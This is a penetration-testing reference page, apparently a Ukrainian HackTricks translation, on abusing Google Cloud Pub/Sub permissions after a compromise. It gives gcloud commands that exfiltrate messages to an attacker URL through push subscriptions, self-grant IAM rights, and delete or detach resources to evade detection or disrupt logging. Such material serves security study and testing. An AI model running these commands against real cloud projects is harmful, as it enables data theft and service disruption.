GCP - Pub/Sub Post Exploitation

Підтримайте HackTricks

Pub/Sub

Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:

GCP - Pub/Sub Enum

pubsub.topics.publish

Публікація повідомлення в темі, корисна для відправки неочікуваних даних та запуску неочікуваних функціональностей або експлуатації вразливостей:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення. Можливо видалити тему навіть з приєднаними до неї підписками.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Використовуйте цей дозвіл для оновлення деяких налаштувань теми, щоб порушити її роботу, наприклад, --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Надайте собі дозвіл виконувати будь-які з попередніх атак.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Отримайте всі повідомлення на веб-сервері:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Створіть підписку та використовуйте її для отримання повідомлень:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Видалити підписку може бути корисним для порушення роботи системи обробки журналів або чогось подібного:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Використовуйте цей дозвіл для оновлення деяких налаштувань, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, Big Query table, Bucket) або просто для їх порушення.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Прикріпіть схему до теми, щоб повідомлення не відповідали їй, і таким чином тема була порушена. Якщо немає жодних схем, можливо, вам доведеться створити одну.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Може здатися, що видалення схеми дозволить надсилати повідомлення, які не відповідають схемі. Однак, оскільки схема буде видалена, жодне повідомлення фактично не потрапить у тему. Тому це БЕЗКОРИСНО:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.

pubsub.snapshots.create, pubsub.snapshots.seek

Це створить знімок всіх непідтверджених повідомлень і поверне їх до підписки. Не дуже корисно для зловмисника, але ось це:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Підтримайте HackTricks

Last updated